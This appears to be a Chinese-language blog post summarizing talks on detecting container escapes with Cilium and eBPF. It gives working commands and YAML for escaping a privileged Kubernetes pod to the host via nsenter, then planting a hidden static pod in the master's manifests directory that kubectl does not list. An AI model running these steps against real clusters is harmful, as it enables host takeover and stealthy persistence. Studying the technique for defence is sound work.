本文是读完 Detecting a Container Escape with Cilium and eBPF 和 使用 Cilium 增强 Kubernetes 网络安全 的一个简单总结。
如何从 Pod 逃逸到 Host
通常为了安全起见,生产环境的 docker image 都要求不使用 root,一般都是在 Dockerfile 中指定 USER xxx
,这样启动的 container/pod 是使用非特权的 user,这样的 user 是没法用 sudo 安装软件的。
有时为了能临时 debug,需要安装 vim, curl 之类的命令,又不想改动 Dockerfile 重新 build image,该怎么办呢?
一个 k8s 原生支持的方法是在 deployment 里面指定 securityContext
,如下所示
$ cat privileged.yaml
apiVersion: v1
kind: Pod
metadata:
name: privileged-the-pod
spec:
hostPID: true
hostNetwork: true
containers:
- name: privileged-the-pod
image: nginx:latest
ports:
- containerPort: 80
securityContext:
privileged: true
对于 docker container,可以在指定 docker run 命令时,设置 --user
为 0 也能获得 root 的 container。
那么我们就来试一试,在自己的 k8s 上部署上面的 Pod,
runz@node1:~$ kubectl get pod
NAME READY STATUS RESTARTS AGE
privileged-the-pod 1/1 Running 0 14h
runz@node1:~$ kubectl exec -it privileged-the-pod bash
kubectl exec [POD] [COMMAND] is DEPRECATED and will be removed in a future version. Use kubectl kubectl exec [POD] -- [COMMAND] instead.
root@node1:/# ls
bin boot dev docker-entrypoint.d docker-entrypoint.sh etc home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var
root@node1:/#
虽然切换到了 /
根目录下,但是这里的文件好像并不是 Host VM 上的根目录 ?
这是因为 bash 仍然出在他自己的进程的 cgroup namespace 中,并不是 Host 上的 cgroup namespace,我们选择一个 Host 上的进程,比如 PID 为 1 的进程,肯定就是 Host 的,然后加入它的 namespace。
root@node1:/# nsenter --target 1 --mount --uts --ipc --net /bin/bash
root@node1:/# ls
bin cdrom etc initrd.img lib lost+found mnt proc run snap swap.img tmp var vmlinuz.old
boot dev home initrd.img.old lib64 media opt root sbin srv sys usr vmlinuz
root@node1:/#
nsenter allows you to join the Linux namespaces of a targeted process id (PID).
First, run a container that shares your hosts PID namespace with –pid=host. The container has to be privileged with –privileged, otherwise executing nsenter will fail with an “Operation not permitted” error. The container is kept running indefinitely by executing tail -f /dev/null.
docker run --pid=host --privileged --name admin-container ubuntu:latest tail -f /dev/null
Then exec into the container with nsenter, entering the file system, ipc, utc and network namespace of the host machine’s very first init process (PID = 1):
docker exec -it admin-container nsenter --target 1 --mount --uts --ipc --net /bin/bash
Have a look around and you will notice, you are on the host machine.
终于,我们看到 Host 的根目录文件了,成功的从 Pod 里的虚拟环境逃逸到了 Host 的环境,就像我们直接 ssh 到 Host 上一样了。
我们可以运行 Host 上的任何命令,比如
# docker ps // 显示 Host 所有的 container
# docker exec // 进入到任何一个 container 中
# crictl ps // 与 docker ps 一样
如果一个 container A 缺少常用命令,可以通过 docker run 启动另一个 container B,并且指定加入到 A 的 pid namespace,从而通过 B 自带的命令获取 A 的信息。比如
docker run -it --rm --pid=container:06c6cbbee85e busybox
/ # ps aux
PID USER TIME COMMAND
1 root 0:00 nginx: master process nginx -g daemon off;
31 101 0:00 nginx: worker process
32 101 0:00 nginx: worker process
64 root 0:00 sh
69 root 0:00 ps aux
如何启动一个隐身的 Pod
我们用 kubectl apply -f
创建一个 Pod 时,kubectl 会把这个声明式请求
发送给 K8S API Server,并且存在 etcd 上,之后有 k8s scheduler 通知每个 Node 上了 kubelet 创建 pod。 参考 link
从这个流程来看,我们没有办法创建了一个 k8s Pod 并且不显示在 kubectl get pod 的结果中。
但是,有一个例外就是位于 master node 上 /etc/kubernetes/manifests
中的 YAML file
bash-5.0# cd /etc/kubernetes/manifests/
bash-5.0# ls -l
total 20
-rw------- 1 root root 2289 Oct 13 12:40 etcd.yaml
-rw------- 1 root root 3595 Oct 13 12:40 kube-apiserver.yaml
-rw------- 1 root root 2895 Oct 13 12:40 kube-controller-manager.yaml
-rw------- 1 root root 1385 Oct 13 12:40 kube-scheduler.yaml
一般来说,我们是无法从 Pod 里面进入这个目录的,但是有了上文的 pod 逃逸,就变得可能了。
首先,我们要确保自己的 Pod 能被调度到 master node 上,否则如果 pod 运行在 worker node 上是没用的。
有的 k8s 会设置不允许用户的 pod 运行在 master 上,所以我们先要解除这个限制。
kubectl taint node node1 node-role.kubernetes.io/master:NoSchedule-
如果我们没有权限解除,那么好像就没办法完成这个实验了。
接下来还是部署第一节中的 Pod,这次要加上 nodeSelector
选择调度到 master 节点 node1
kubectl label nodes node1 hostname=node1 // 先给 master 打个标签
apiVersion: v1
kind: Pod
metadata:
name: privileged-the-pod
namespace: privilege-test
spec:
hostPID: true
hostNetwork: true
nodeSelector:
hostname: node1
containers:
- name: privileged-the-pod
image: nginx:latest
ports:
- containerPort: 80
securityContext:
privileged: true
然后,我们就能顺利的到达 master node 的 /etc/kubernetes/manifests/
目录,放入准备好的 hack.yaml
apiVersion: v1
kind: Pod
metadata:
name: hack-latest
hostNetwork: true
# define in namespace that doesn't exist so
# workload is invisible to the API server
#namespace: doesnt-exist
nodeSelector:
hostname: node1
spec:
containers:
- name: hack-latest
image: sublimino/hack:latest
command: ["/bin/sh"]
args: ["-c", "while true; do sleep 10;done"]
securityContext:
privileged: true
# Define the control plane node the privileged pod
# will be scheduled to
nodeName: node1
kubelet 会自动启动 YAML 中指定的 container,但是 kubectl 却不会显示
$ kubectl get pod --all-namespaces
NAMESPACE NAME READY STATUS RESTARTS AGE
default flask-server-786f96dd84-gbjt4 2/2 Running 0 16h
default httpbin-66cdbdb6c5-5dwh9 2/2 Running 0 16h
privilege-test privileged-the-pod 1/1 Running 0 15h
而我们在 master node 中用 docker ps 却能看到这个 container
root@node1:/# crictl ps
CONTAINER ID IMAGE CREATED STATE NAME ATTEMPT POD ID
deba740b65526 sublimino/hack@sha256:569f3fd3a626a4cfd50e4556425216a5b8ab3d8bf9476c1b1c615b83ffe4000a 15 hours ago Running hack-latest 0 350ce5f6e5d5f
root@node1:/# docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
deba740b6552 sublimino/hack "/bin/sh -c 'while t…" 15 hours ago Up 15 hours k8s_hack-latest_hack-latest-node1_default_e3af594b9cf4c4b710645acba74fca37_0